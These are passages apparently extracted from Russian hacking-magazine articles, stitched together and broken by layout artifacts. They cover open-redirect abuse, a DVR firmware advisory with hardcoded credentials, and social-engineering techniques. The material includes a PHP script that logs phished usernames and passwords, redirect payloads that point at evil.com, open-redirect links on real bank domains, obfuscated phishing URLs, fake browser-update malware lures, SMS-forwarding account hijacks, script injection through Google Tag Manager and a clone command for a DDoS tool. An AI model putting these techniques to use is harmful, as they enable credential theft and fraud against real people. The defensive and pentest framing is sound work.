Как  вари ант,  мож но  исполь зовать  перебор  при  помощи  спе циаль ных
прог рамм.

•

Ввес ти в поис ковую стро ку Google 
.

• site:target.com inurl:redirec

tUrl=http

Про ана лизи ровать,  где  может  исполь зовать ся  перенап равле ние.  К  при‐ 
меру, редирект пос ле авто риза ции.

•

Поп робовать  най ти  уяз вимость  с  помощью раз личных извес тных  трю ков:
, 

. Дру гие трю ки ты можешь пос мотреть по ссыл кам.

•
target.com/?redirect_url=https://evil.com target.com//

evil.com

WWW

•Random Robbie payloads
•EdOverflow CheatSheet
•Ak1t4 payloads
•Cujanovic payloads

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ. ОСНОВНЫЕ УГРОЗЫ
Фи шинг
Для  ата ки  зло умыш ленник  отправ ляет  на  поч ту  пись мо  со  ссыл кой 

.  Жер тва  видит  доверен‐ 
ную ссыл ку и попада ет по ней на стра ницу, иден тичную ори гиналь ному сай ту.
Далее человек вво дит логин и пароль,  которые зло умыш ленник и сох раня ет
с помощью скрип та.

http://
site.com/login?redirectUrl=http://evil.com/

С помощью этой уяз вимос ти   фишинг сай та Visa. Так же уяз‐ 
вимость  исполь зовалась  для  .  Люди  перехо‐ 
дили  по  бан неру,  в  котором  была  уяз вимая  ссыл ка,  и  она  отправ ляла  их
на фишин говый сайт.

про изво дил ся
фи шин га  бан ков ских  акка унтов

Бан нер с уяз вимой ссыл кой

Сов мещение с дру гой уяз вимостью
Дру гой  вари ант  ата ки  сво дит ся  к  отправ ке  челове ка  на  сайт,  содер жащий
экс пло ит  для  бра узе ра  или  CSRF.  Так же  мож но  сов местить  Open  Redirect
с XSS, как это было   иссле дова телем с сай том google.com.сде лано

Спо собы сов мещения могут быть самыми раз ными. Нуж но прос то сидеть
и вни матель но и упор но про бовать раз ные вари анты.

Open Redirect для DDoS
На  GitHub  есть  инте рес ный  скрипт,  который  исполь зует  откры тое  перенап‐ 
равле ние для атак DDoS.

Скрипт UFONet

Ав тор  опи сыва ет  UFONet  как  бот нет  для  про веде ния  Layer  7  DDoS  атак  (в
учеб ных целях, конеч но же).

Ви зуали зация «Зом би» на кар те

В  интерне те  есть  видео,  где  хакеры  исполь зуют  UFONet  про тив  реаль ных
сай тов.  Можешь  ска чать  и  порез вить ся  с  ним  на  сво ем  сай те.  Но  мно гого
ожи дать от него не сто ит! :)

$ ls ‐l
$ git clone https://github.com/epsylon/ufonet.git

ОТКРЫТАЯ УЯЗВИМОСТЬ В GOOGLE
В 2016 году иссле дова тель   уяз вимость в Google. Она зак люча ется
в том, что при перехо де по ссыл ке с редирек том откры вает ся обыч ная стра‐ 
ница авто риза ции в Google. Ссыл ка выг лядит при мер но так:

об наружил

https://accounts.google.com/ServiceLogin?continue=https%3A%2F%2Fappe
ngine.google.com%2F_ah%2Fconflogin%3Fcontinue%3Dhttps%3A%2F%2Fevil.
com%2F&service=ah

Ав ториза ция в Google

От крыв шего ее переб росит на сайт  . Как это мож‐ 
но  исполь зовать?  Раз работ чики  Google  отве тили  иссле дова телю,  что  Open
Redirect  сам  по  себе  не  счи тает ся  уяз вимостью,  и  не  ста ли  зак рывать  эту
дыру. Но зло умыш ленни ки взя ли ее в обо рот и активно исполь зуют. Рас смот‐ 
рим под робнее их методы ата ки.

evil.com/_ah/conflogin/

Дос тавка ссыл ки
При  точеч ной  ата ке  обыч но  идет  пря мое  вза имо дей ствие  с  жер твой:
под  любым  пред логом  и  любым  спо собом ей  переда ется  уяз вимая  ссыл ка.
При мас совой ата ке зло умыш ленни ки рас сыла ют спам или раз меща ют ссыл‐ 
ку на сай тах, где жер тва не смо жет усто ять и клик нет.

Один  из  вари антов  такого  спа ма —  ког да  на  поч ту  (не  Gmail)  при ходит
пись мо о  том,  что акка унт  свя зан с  ящи ком Gmail. В  теле пись ма пред лага‐ 
ется вой ти в акка унт под раз ными пред логами.

Фи шин говое пись мо

Ме тоды атак
Фи шинг акка унта Google
Поль зователь  пос ле  перехо да  по  ссыл ке  в  пись ме  попада ет  на  стра ницу
авто риза ции  .  Там  он  вво дит  дан ные,  но  потом  видит  такое  же
окно авто риза ции с сооб щени ем об ошиб ке в дан ных (хотя дан ные вве дены
были  вер но).  В  чем  тог да  дело?  Обыч но  человек  дума ет,  что  опе чатал ся
или ввел не тот пароль.

google.com

Фи шин говая стра ница

В  реаль нос ти  же  он  уже  находит ся  на  сай те  зло умыш ленни ка!  Прос то  этот
сайт отоб ража ет фей ковое окно, неот личимое от логина в Google.

Дан ные,  вве ден ные  в  этом  окне,  будут  отправ лены  скрип ту  на  PHP,
который сох ранит их на сер вере зло умыш ленни ка.

<?php
if (empty($_POST["username"])) {
 exit();

} else {
 $result = array(
   'username' => $_POST["username"],
   'password' => $_POST["password"]
 ); 
 echo json_encode($result); 
 $Login = $_POST['username'];
 $Pass = $_POST['password'];
 $log = fopen('accounts.php','a+');
 fwrite($log,"<br> $Login:$Pass \n");
 fclose($log);

}
?>

Пос ле  нажатия  на  кноп ку  жер тва  перенап равля ется  на  ее  стра ницу  с  пись‐ 
мами,  не  подоз ревая,  что  она  ском про мети рова на.  Хакер  по  ту  сто рону
монито ра радос тно ухмы ляет ся, уви дев завет ные дан ные.

За раже ние вирусом
Точ но таким же спо собом жер тву пос ле окна авто риза ции в   мож‐ 
но  перенап равить  на  сайт  с  «обновле нием»  бра узе ра,  где  челове ка  про сят
ска чать вирус ный файл.

google.com

Об новле ние бра узе ра с вирусом

Пос ле заг рузки жер тва перенап равля ется на стра ницу с пись мами и ничего
не  подоз рева ет.  Есть  боль шой  шанс,  что  поль зователь  пораду ется
«обновлен ному бра узе ру» и сам уста новит себе вирус.

Фи шинг дру гих акка унтов (PayPal, Amazon, Vkontakte и про чие)
Пос ле окна авто риза ции в   жер тва попада ет на стра ницу «сво ей»
поч ты.  Одна ко  все  пос ледние  пись ма —  от  опре делен ного  сай та,  который
нас той чиво про сит вой ти в акка унт под любым пред логом.

google.com

Фи шинг акка унтов PayPal

На  самом  деле  это  фей ковая  поч та,  муляж,  в  котором  не  работа ет  ничего,
кро ме откры тия пись ма. В самом пись ме содер жится ссыл ка на фишин говый
сайт  с  замас кирован ным  доменом.  К  при меру,  paypal.login‐com.com.  Нев‐ 
ниматель ная  жер тва  в  шоке  перехо дит  по  ней  на  сайт  зло умыш ленни ка
и отда ет ему свои дан ные.

ИТОГ
Уяз вимость Open Redirect — ошиб ка раз работ чиков сай та, которая поз воля ет
зло умыш ленни кам  незамет но  перенап равлять  поль зовате лей  куда  угод но
и под совывать им что угод но. Что бы ее избе жать, необ ходимо как минимум
уве дом лять поль зовате ля о перенап равле нии.

Ин тернет  кишит  уяз вимос тями.  Пло хие  рус ские  (и  не  толь ко  рус ские)
хакеры не  спят  и  зараба тыва ют,  как могут,  воруя  чужие дан ные. В  то  вре мя
как товари щи в белых шля пах получа ют свои тысячи дол ларов, находя подоб‐ 
ные уяз вимос ти в прог раммах Bug Bounty.

В общем, будь начеку, про веряй URL в адресной стро ке, никуда не логинь‐ 
ся по ссыл кам из поч ты и обра щай вни мание, если окно авто риза ции вдруг
воз никло из ниот куда или выг лядит хоть сколь ко‐нибудь подоз ритель но. Пре‐ 
дуп реди  о  такой  воз можнос ти менее  под кован ных  дру зей  и  родс твен ников.
Ну а если хочешь изу чить Open Redirect еще под робнее или про качать свой
навык работы с ним, то рекомен дуем полез ные сай ты по ссыл кам ниже.

WWW

•На ходим Open Redirect с помощью Burp
•Тес тирова ние уяз вимос ти Open Redirect на сто‐ 
роне кли ента. OWASP

•Wiki хакера по Open Redirect
•Под робнее об XSS
•Уяз вимость на 1000 дол ларов в Facebook

mailto:aigulforever@yandex.ru
https://krebsonsecurity.com/2016/03/spammers-abusing-trust-in-us-gov-domains/#more-34214
https://www.titrias.com/white-hat-hacking-apple-open-redirect-vulnerability/
https://github.com/random-robbie/open-redirect/blob/master/payloads.txt
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md
https://github.com/ak1t4/open-redirect-scanner/blob/master/payloads.list
https://github.com/cujanovic/Open-Redirect-Payloads
http://usa.visa.com/track/dyredir.jsp?rDirl=http://200.251.251.10/.verified/
https://caspicasoft.com/blog/2015/11/12/bcc-open-redirect
https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter
https://vagmour.eu/google-open-url-redirection/
https://support.portswigger.net/customer/portal/articles/1965733-using-burp-to-test-for-open-redirections
https://www.owasp.org/index.php/Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)
http://insecurity.shoutwiki.com/wiki/Open_Redirect
https://xakep.ru/2012/10/04/skanner-xss-uyazvimostej-na-100-strochek-koda/
https://yassineaboukir.com/blog/how-i-discovered-a-1000-open-redirect-in-facebook/
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ВЗЛОМ

Бот неты,  сос тоящие  из  уяз вимых  IoT‐
устрой ств,  —  суровая  дей стви тель ность
наших  дней.  Ата кующие  пос тоян но  ищут
уяз вимые  хос ты,  что бы  уси лить  свою  сеть.
И иног да  так получа ется, что про изво дите‐ 
ли  «умных»  железок  сво ей  пас сивностью
неп редна мерен но  помога ют  зло деям
реали зовать их пла ны. Рас смот рим имен но
такой слу чай.

WARNING

Опи сан ные  в  матери але  уяз вимос ти  были  сво‐ 
евре мен но  отправ лены  вен дору,  китай ско му
CERT  и  Mitre.  Все  уяз вимос ти  получи ли  номера
CVE. Мы пуб лику ем дан ную информа цию в соот‐ 
ветс твии с общепри нятой полити кой раз гла шения
уяз вимос тей. Одна ко вен дор до сих пор не сооб‐ 
щил,  как  собира ется  зак рывать  уяз вимос ти,  а  в
зоне  рис ка  находит ся  мно го  . Поэто му
мы  не  будем  при водить  под робные  све дения
об уяз вимом ПО и устрой ствах.

устройств

Се год ня  мы  в  фор мате  Security  Advisory  (отжа тые  до  самой  сути  отче ты
об обна ружен ных уяз вимос тях, в таком фор мате их получа ют про изво дите ли
уяз вимого  ком понен та,  Mitre  и  CERT)  рас ска жем  тебе  о  трех  уяз вимос тях
в  про шив ках  DVR/NVR  (digital/network  video  recorders)  круп ного  китай ско го
про изво дите ля,  который  раз рабаты вает  про шив ки  для  раз нооб разных
устрой ств (DVR, NVR и IP‐камеры).

Рас смот ренная  вер сия  про шивок  работа ет  на  раз личных  DVR/NVR‐
устрой ствах,  которые  так же  про изво дят ся  в  Китае  и  рас простра няют ся
по модели white label, ког да на заводе устрой ство выпус кают без мар киров ки,
а  затем  вен доры  выводят  его  на  рынок  под  сво им  брен дом.  Я  обна ружил
в откры том дос тупе более 120  тысяч  устрой ств,  арте фак ты  которых  (вер сия
и бан неры  запущен ных  сер висов, фин гер прин ты  веб‐интерфей са  и  про чее)
ука зыва ют на то, что устрой ство работа ет под управле нием дан ной про шив ки
и, соот ветс твен но, может иметь опи сан ные ниже уяз вимос ти.

Ге огра фия рас простра нен ности уяз вимых устрой ств

ОБЪЕКТ ИССЛЕДОВАНИЯ
Как  я  упо минал,  огромное  количес тво  устрой ств  под  управле нием  дан ной
про шив ки рас простра няет ся по модели white label. На фотог рафии ниже при‐ 
мер подоб ного устрой ства. Оно и ста ло объ ектом иссле дова ния.

При мер уяз вимого DVR‐устрой ства

Про шив ка содер жит «зашитые» учет ные дан ные, которые могут быть исполь‐ 
зованы ата кующим для при виле гиро ван ного дос тупа к работа юще му устрой‐ 
ству  и  кра жи  цен ной  информа ции,  нап ример  получе ния  виде опо тока,
или (клас сика жан ра) для вклю чения дан ного устрой ства в бот нет. Так же уяз‐ 
вимый  веб‐интерфейс  поз воля ет  ата кующе му  обой ти  про цеду ру  аутен‐ 
тифика ции и получить при виле гиро ван ный дос туп к виде опо току.

В  пос ледних  вер сиях  про шив ки  (на  момент  иссле дова ния  —
декабрь 2017 года) были обна руже ны уяз вимос ти:

об ход аутен тифика ции в веб‐при ложе нии;•
«зашитая» учет ная запись для Telnet;•
«зашитые»  учет ные  записи  для  веб‐панели  управле ния  и  RTSP‐сер вера
(Real Time Streaming Protocol).

•

ТЕХНИЧЕСКИЕ ДЕТАЛИ
Об ход аутен тифика ции в веб‑при ложе нии
Веб‐панель, раз работан ная для управле ния устрой ством и виде омо нито рин‐ 
га,  име ет  «осо бен ность»  (доволь но  рас простра нен ную  сре ди  подоб ных
устрой ств),  которая  поз воля ет  неав торизо ван ному  поль зовате лю  получить
дос туп к виде опо току. Дос таточ но изме нить URL

http://<IP>/<main_page_with_login_form>.html

на что‐то подоб ное:

http://<IP>/<video_stream>.html 

Эта уяз вимость в веб‐при ложе нии воз ника ет из‐за того, что отсутс тву ют про‐ 
вер ки  поль зователь ских  прав, —  судя  по  обновлен ному  OWASP  TOP  10  IoT
Vulnerabilities, это дос таточ но три виаль ная проб лема.

ОЦЕНКА УЯЗВИМОСТИ

CVSS v3
Base Score: 7.5
Vector: (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:M/A:N)

За шитые учет ные дан ные для Telnet
Фай лы  про шив ки  находят ся  в  откры том дос тупе  и  не  защище ны от  ана лиза
содер жимого. В резуль тате любой жела ющий может рас паковать образ про‐ 
шив ки.  Это  один  из  спо собов,  который  исполь зуют  зло умыш ленни ки
для  попол нения  сво их  бот нетов.  Зло деи  неп рерыв но  сле дят  за  обновле‐ 
ниями про шивок на сай те про изво дите ля; они успешно рас паковы вают образ
про шив ки  и  прис тупа ют  к  изу чению  ее  содер жимого.  Если  рас пакован ная
про шив ка  содер жит  «зашитые»  учет ные  дан ные,  зло умыш ленни ки  вклю чают
их в брут‐лис ты сво его ска нера.

Бла гопо луч но рас пакован ная про шив ка. В нед рах ее фай ловой сис темы
содер жатся «зашитые» учет ные дан ные

В  про шив ке,  которую  мы  ана лизи рова ли,  обна ружи лись  учет ные  дан ные
для Telnet‐под клю чения. В фай ле etc/passwd есть сле дующая стро ка:

root:<Unix_md5_string>:0:0:root:/:/bin/sh

Эта стро ка содер жит учет ные дан ные при виле гиро ван ного поль зовате ля Tel‐
net, которые вла делец устрой ства изме нить не может.

ОЦЕНКА УЯЗВИМОСТИ

CVSS v3
Base Score: 10
Vector: (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

За шитые учет ные дан ные для веб‑сер вера и RSTP-сер вера
Ис поль зуя  опи сан ную  выше  учет ную  запись  для  Telnet,  ата кующий  может
получить дос туп к сле дующим фай лам, которые содер жат все поль зователь‐ 
ские учет ки для веб‐панели и RSTP‐сер вера:

<temporary_dir>/Config1
<temporary_dir>/Config2

Кро ме того, эти фай лы содер жат «зашитые» учет ные дан ные (бэк дор):

<default_username>:<password_in_clear_text>

Фраг мент фай ла, содер жащего «зашитые» учет ные дан ные
для веб‐панели

В резуль тате ата кующий может получить дос туп к веб‐панели и виде опо току.

ОЦЕНКА УЯЗВИМОСТИ

CVSS v3
Base Score: 7.5
Vector: (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:M/A:N)

КАК УСТРАНИТЬ ОПИСАННЫЕ УЯЗВИМОСТИ
1. Зап ретить любой дос туп к веб‐панели, исполь зуя белый спи сок доверен‐ 
ных IP‐адре сов.

2. Скрыть работа ющее устрой ство за NAT роуте ра. Если это невоз можно, то
необ ходимо отклю чить от интерне та (изо лиро вать) уяз вимое устрой ство.

3. Ес ли  тре бует ся  получить  дос туп  к  виде опо току  через  интернет,  то  луч ше
исполь зовать  соеди нение  с  вен дор ским  обла ком  (если  устрой ство  под‐ 
держи вает такую воз можность).

Текущий ста тус отче та
01.12.2017 — отчет передан про изво дите лю.•
11.01.2018 — про изво дитель под твер дил, что отчет получен.•
14.06.2018 — отчет передан китай ско му CERT  (National Computer network
Emergency Response technical Team / Coordination Center of China) и Mitre.

•

mailto:condifesa@gmail.com
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ВЗЛОМ

В этой статье мы рас смот рим нес коль ко тех ник соци аль ной
инже нерии,  которые  мож но  исполь зовать  тар гетиро ван но,
то  есть  в  тех  слу чаях,  ког да  выб рана  кон крет ная  жер тва
(человек  или  ком пания).  Счи тает ся,  что  тар гетиро ван ные
ата ки отни мают боль ше вре мени на под готов ку. Из опы та я
знаю,  что  спро воци ровать  сде лать  что‐то  сот ню  слу чай ных
человек  лег че,  чем  одно го  кон крет ного  в  опре делен ной
орга низа ции.

В    мы  разоб рали  мас совые  ата ки,  но  их  при мени мость
огра ниче на.  Нап ример,  они  пло хо  под ходят  для  тес тов  на  про ник новение.
Пен тестер не может поз волить себе исхо дить из теории веро ятностей и рас‐ 
сылать свои ловуш ки всем сот рудни кам про веря емой орга низа ции в надеж‐ 
де, что кто‐то попадет ся. Один‐два бди тель ных поль зовате ля опо вес тят служ‐ 
бу  безопас ности,  и  ата ке  конец.  Плюс  нуж на  под готов ка  под  кон крет ную
инфраструк туру  и  спе цифи ку  заказ чика,  а  при емы  соци аль ного  инже нера
дол жны быть нес тандар тны ми.

пре дыду щей  статье

WARNING

Статья пред назна чена для «белых хакеров», про‐ 
фес сиональ ных  пен тесте ров  и  руково дите лей
служ бы  информа цион ной  безопас ности  (CISO).
Ни автор, ни редак ция не несут ответс твен ности
за любой воз можный вред, при чинен ный матери‐ 
ала ми дан ной статьи.

«Белые шля пы», пен тесте ры и обла дате ли CEH обыч но понима ют, что их дей‐ 
ствия  игра ют  не  толь ко  тех ничес кую,  но  и  соци аль ную  роль.  Я  нес лучай но
упо мянул CISO, пос коль ку их задача — пос тоян но обу чать всех сот рудни ков
осно вам  информа цион ной безопас ности.  Если  цен ного  спе циалис та  уволь‐ 
няют из‐за того, что он открыл заражен ный файл, то в этом есть и доля вины
неради вых безопас ников.

Пра вила  безопас ности  всег да  пишут ся  пос тфак тум,  а  потому  инер тны
и сла бо защища ют от сов ремен ных угроз. Бан ки уже дав но не нуж но гра бить
в мас ках с авто мата ми — теперь дос таточ но элек трон ной поч ты, но во мно гих
финан совых орга низа циях еще живы ста рые сте реоти пы. Акцент в них дела ют
на физичес кую безопас ность, счи тая информа цион ную менее сущес твен ной.
Дос таточ но вспом нить недав нюю исто рию с ограбле нием ПИР Бан ка и ком‐ 
мента рий его пред седате ля прав ления: «…с наиболь шей веро ятностью вирус
про ник в банк через фишин говое пись мо».

Дав ний  парадокс  оста ется  акту аль ным:  ИТ‐спе циалис ты  не  уста ют  заяв‐ 
лять, что соци аль ная инже нерия — глав ное зло. При этом мно гие «безопас‐ 
ники»  про дол жают  счи тать,  что  хит роум ного  соф та  и  однажды  написан ных
инс трук ций для пер сонала дос таточ но, что бы про тивос тоять киберуг розам.

ДОВЕРЕННЫЙ САЙТ КАК ПРОХОДНОЙ ДВОР
У вашего фай рво ла фор маль но нас тро ены «чер ные» и «белые» спис ки URL?
Тог да мы идем к вам! Вот нес коль ко при меров, ког да на сай те бан ка исполь‐ 
зует ся одна извес тная CMS с незак рытым редирек том:

https://avbbank.ru/bitrix/redirect.php?goto=http://plohoyavbbank.ru
http://www.rncb.ru/bitrix/redirect.php?goto=http://zloyrncb.ru
http://www.moscow‐bank.ru/bitrix/redirect.php?goto=http://
ne‐moscow‐bank.ru
http://kbivanovo.ru/bitrix/redirect.php?goto=http://hackkbivanovo.ru

Ес ли фай рвол смот рит толь ко то, что идет пос ле пер вого http(s), то пора его
под кру тить.  Но  эта  статья  не  про  нас трой ку  меж сетево го  экра на,  а  про
челове чес кие сла бос ти. Поэто му прос то дай сот рудни ку такую ссыл ку и про‐ 
верь, нас коль ко он бди телен и смот рит ли он даль ше пер вого встре чающе‐ 
гося http(s).

ЧТО ЗА СОБАКА?
Дан ный спо соб не сра бота ет с вни матель ными сот рудни ками, но если бы все
были вни матель ны, то соци аль ной инже нерии не сущес тво вало бы как явле‐ 
ния. ;‐)

Раз вивая пре дыду щий спо соб для тех, кто при вык смот реть, что идет сра зу
пос ле  , и думать, что URL безопа сен: дан ная ссыл ка 

 тоже не при ведет ни к чему хороше му.
http:// https://bank.

ru@zloysite.ru
По чему так про исхо дит? Допус тимые в URL сим волы задоку мен тирова ны

в  стан дарте RFC 1738. Сим вол    исполь зует ся  в  URL  как  спе циаль ный  раз‐ 
делитель,  ког да  нуж но  пря мо  в  нем  дать  пра ва  для  дос тупа  к  стра нице.
В  конс трук ции  вида    до    мож но  ука‐ 
зывать  прак тичес ки  что  угод но.  Бра узер  все  рав но  отпра вит  поль зовате ля
на хост, ука зан ный пос ле  .

@

httр://<логин>:<пароль>@<хост> @

@

ЧТО ЗА АБРАКАДАБРА?
До бавим в злов редный URL нем ного кирил лицы, закоди рован ной в UTF‐8 →
HEX, что бы он выг лядел непонят но для челове ка и на пер вый взгляд безопас‐ 
но:

http://bank.ru@%D0%B7%D0%BB%D0%BE%D0%B9%D1%81%D0%B0%D0%B9%D1%82.
%D1%80%D1%84

За коди рован ный домен .рф в URL

Или сов местим прос тые тех ники (редирект + кодиро вание):

http://www.moscow‐bank.ru/bitrix/redirect.php?goto=http://www.
moscow‐bank.ru@%D0%B7%D0%BB%D0%BE%D0%B9%D1%81%D0%B0%D0%B9%D1%82.
%D1%80%D1%84

При наведе нии мыши на закоди рован ный URL дес ктоп ные бра узе ры декоди‐ 
руют сим волы (чего не ска жешь об Outlook и мобиль ных бра узе рах). Поэто му
для  пол ного  скры тия  зло го  адре са  мож но  про писать  адрес  сер вера,
на котором рас положен фишин говый сайт:

http://www.moscow‐bank.ru/bitrix/redirect.php?goto=http://www.
moscow‐bank.ru@178.248.232.27

или прос то

http://www.moscow‐bank.ru@178.248.232.27

Вмес то домена в URL исполь зуем IP сер вера

Не забудь прик рутить к сер веру HTTPS, что бы бра узер не ругал ся, но об этом
поз же.

ПЕРЕПОЛНЕНИЕ ПРЕДПРОСМОТРА
На вер няка  ты  уже зна ешь,  что нас тоящее рас ширение фай лов мож но спря‐ 
тать, исполь зуя огра ниче ние отоб ража емой дли ны стол бца extension в «Про‐ 
вод нике» или архи вато ре (или пом нишь со вре мен ICO. :) — Прим. ред.).

По пыт ка скрыть рас ширение фай ла в архи ве

Те перь давай поп робу ем сход ным обра зом скрыть злую часть URL на эта пе
пред прос мотра в бра узе ре.

Ес ли  сот рудник  зна ет,  что  анкор  ссыл ки  может  быть  не  равен  целево му
URL, то он наведет мыш кой на ссыл ку и пос мотрит, куда на самом деле она
ведет.  Если  это  его  единс твен ный  спо соб  про вер ки  ссы лок,  то  инс трук ции
по безопас ности в такой ком пании пора обновлять.

Злая ссыл ка может быть, к при меру, такой:

https://berbank.ru:
ааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааа
ааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааа
а@zloysait.
ru/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbb.html

Вмес то aaaa и bbbb пишем раз ные клю чевые сло ва, которые обыч но исполь‐ 
зуют ся на ори гиналь ном сай те.

При наведе нии мыш кой в Firefox уви дим сок ращен ный посере дине адрес
сай та,  из‐за  чего  часть    не  отоб ража ется.  Вид на  толь ко
не вызыва ющая подоз рений часть ссыл ки:

zloysait.ru

https://berbank.ru:
ааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааа
ааааааааааааааааааааа..
.bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb.html

Сок ращен ный URL в Firefox

Для  боль ших  экра нов  фишин говую  ссыл ку  луч ше  сде лать  под линнее.  Если
навес ти мыш ку на такую ссыл ку в Internet Explorer или Edge, то мы не уви дим
вооб ще ничего. Судя  по  все му,  их  сму щает  пов торное дво ето чие  в  адре се,
что нас впол не устра ивает.

Chromium‐бра узе ры от Google и Яндекса отоб ража ют конеч ный URL 
,  поэто му  дан ный  спо соб  подой дет

для тар гетиро ван ной ата ки, ког да известен бра узер жер твы.

zloy‐
sait.ru/bbbbbbbb...bbbbbbbb.html

«ПОЧТА РОССИИ» ТЕБЕ В ПОМОЩЬ!
Ес ли жер тва  занима ет  руково дящую дол жность  в  целевой  ком пании, мож но
поп робовать сыг рать на ее чувс тве собс твен ной важ ности.

Соз дает ся фей ковый однос тра нич ник кон ферен ции (биз нес‐мероп риятия,
биз нес‐форума  и  подоб ного).  Теперь  жер тву  нуж но  заманить  на  ресурс.
Почему бы не отпра вить бумаж ное пись мо ей на работу? Тут ты точ но обой‐ 
дешь всю циф ровую и желез ную защиту в орга низа ции и даже ней росете вой
фай рвол в виде сек ретар ши, так как, по ее мне нию, если она выкинет такое
пись мо в кор зину, ее началь ник не обра дует ся. Очень уж прив лекатель но выг‐ 
лядит  содер жимое  —  кра сивое  приг лашение  поучас тво вать  в  пафос ном
мероп риятии в качес тве спи кера (чле на жюри, лауреата прес тижной пре мии).

Даль ше все стан дар тно: пред лага ется ска чать и запол нить «анке ту» учас‐ 
тни ка. Мож но даже QR‐код напеча тать (вро де как заботим ся о вашем удобс‐ 
тве, глу боко ува жаемая жер тва).

ЛИЧНОЕ ИЛИ ПУБЛИЧНОЕ?
Сле дующие  нес коль ко  спо собов  отно сят ся  к  ата кам  на  орга низа цию  через
исполь зование  фак тов  о  лич ной  жиз ни  сот рудни ка.  Рас ска зывая  о  защите
от соци аль ной инже нерии, я нас таиваю на том, что человек дол жен знать пра‐ 
вила безопас ности не ради орга низа ции, а в пер вую оче редь для себя. Пока
в некото рых СБ дума ют, что при несен ный на работу смар тфон с пой ман ным
на  выход ных  тро яном  нель зя  исполь зовать  для  прос лушки  внут риофис ных
событий, мы будем находить таких сот рудни ков и делать их более ком петен‐ 
тны ми.

Не чекином еди ным
Ес ли  ты  тес тиру ешь лич ный email  сот рудни ка или его акка унт  в  соц сетях,  то
пос мотри, где человек отды хал в пос леднее вре мя.

Ви дишь  наз вание  оте ля?  Сме ло  пиши  от  име ни  адми нис тра ции  оте ля
и  тре буй  доп латы  за  сер вис.  В  пись мо  добавь  над пись,  что  дан ное  сооб‐ 
щение  сге нери рова но  авто мати чес ки,  а  для  отве та  нуж но  вос поль зовать ся
фор мой  на  офи циаль ном  сай те  в  раз деле  под дер жки  кли ентов.  Дав  фей‐ 
ковую ссыл ку, пред ложи ему зарегис три ровать ся. Кто зна ет, быть может, этот
логин/email и пароль он исполь зует и на дру гих ресур сах.

Хо тел пох вастать ся и нав лек неп рият ности

По тен циаль ная жер тва лета ет самоле тами «Аэроф лота»? Напиши, что сроч но
надо акти виро вать бонус ные мили, и тог да их количес тво удво ится! Сде лать
это нуж но по тво ей фей ковой ссыл ке с лен дингом акции.

Ави аби лет — наход ка для социн женера

Жер тва  недав но  посети ла  какое‐то  мероп риятие?  Поп роси  ее  зарегис три‐ 
ровать ся  по  тво ей  ссыл ке,  что бы  получить  все  записи  с  кон ферен ции  +
бонус ный кон тент и скид ку на учас тие в сле дующей!

Пост в соц сети, облегча ющий жизнь пен тесте ру

Что бы жер тва ничего не заподоз рила, пос ле того как зарегис три рова лась, ей
мож но  показать  сооб щение  об  ошиб ке  (нап ример,  «404.  Ой,  что‐то  пош ло
не так, поп робуй те пов торить ваш зап рос поз же!») или отпра вить на глав ную
стра ницу сай та.

При мер но в таком клю че мож но обра щать ся к челове ку на осно вании све‐ 
жих дан ных из его акка унтов в соц сетях. Здесь мы исполь зовали по боль шей
час ти  фишин говые  методы,  и  нам  это го  дос таточ но,  что бы  про верить  бди‐ 
тель ность  сот рудни ка.  Нас тоящие  зло деи,  конеч но,  на  этом  не  оста новят ся
и  будут  исполь зовать  уяз вимос ти  бра узе ров  и  вре донос ные  фай лы
для зараже ния устрой ства жер твы. Это уже тех ничес кая часть, а не соци аль‐ 
ная.

SMS-редирект
На вер няка  ты  уже  слы шал  исто рию  о  том,  что  у  Bitcoin‐инвесто ра  с  под‐ 
ходящей  фамили ей  Тер пин    при  помощи
баналь ного  зап роса  о  перено се  номера  мобиль ного  на  новую  SIM‐кар ту.
А что, если нем ного пофан тазиро вать и пос мотреть, как с помощью фишин га
получить дос туп к интернет‐сер висам сот рудни ка, защищен ным двух фактор‐ 
ной аутен тифика цией? Вдруг кто‐то из сотовых опе рато ров дает воз можность
получить сим ку, не воруя номер?

ук рали  23  мил лиона  дол ларов

Сот рудни ку  на  лич ный  телефон  (или  кор поратив ный мобиль ный)  отправ‐ 
ляет ся  SMS  или  email  с  при зывом  сде лать  что‐то  в  его  лич ном  кабине те.
Повод луч ше выб рать страш ный (из‐за чего пря мо сей час нуж но туда зай ти)
или  надавить  на  жад ность,  что бы  не  побуж дать  челове ка  зво нить  в  тех‐ 
поддер жку.  Нуж но  толь ко  знать,  к  какому  опе рато ру  отно сит ся  его  номер,
и дать под ходящую фишин говую ссыл ку. Пос ле получе ния дос тупа в кабинет
человек  со  злым  умыс лом  ста вит  свой  телефон для  при ема SMS  в  раз деле
«Пере адре сация сооб щений».

У  боль шинс тва  опе рато ров  пре дос тавля ется  на  выбор  мно жес тво  сце‐ 
нари ев по нас трой ке редирек тов.

Опи сание услу ги на сай те сотово го опе рато ра

Один email — один банк
Ес ли ты нашел на сай те какого‐то круп ного бан ка такую строч ку:

src='//www.googletagmanager.com/gtm.js?id='

то пред ставь сле дующий сце нарий:
1. С помощью соци аль ной инже нерии и фишин га получа ешь дос туп  к акка‐ 
унту @gmail.com мар кетоло га.

2. Че рез сер вис Google Tag Manager встав ляешь по этой ссыл ке любой JS‐
скрипт (нап ример, новогод нее поз драв ление) и жмешь «Сох ранить».

3. Те перь твой скрипт будет поз драв лять посети телей с нас тупа ющим Новым
годом (если служ ба безопас ности будет не про тив и не перес танет поль‐ 
зовать ся инос тран ными сер висами).

INFO

Google Tag Manager — сер вис, который упро щает
раз мещение  на  сай те  информа ции,  в  том  чис ле
JS‐скрип тов.  Соот ветс твен но,  если  ты  име ешь
дос туп к акка унту, с которо го дела ются нас трой ки
Tag  Manager,  ты  можешь  внед рить  свой  вре‐ 
донос ный код на сайт.

Мес то для встав ки вре донос ного кода

Мар кетоло гам на замет ку
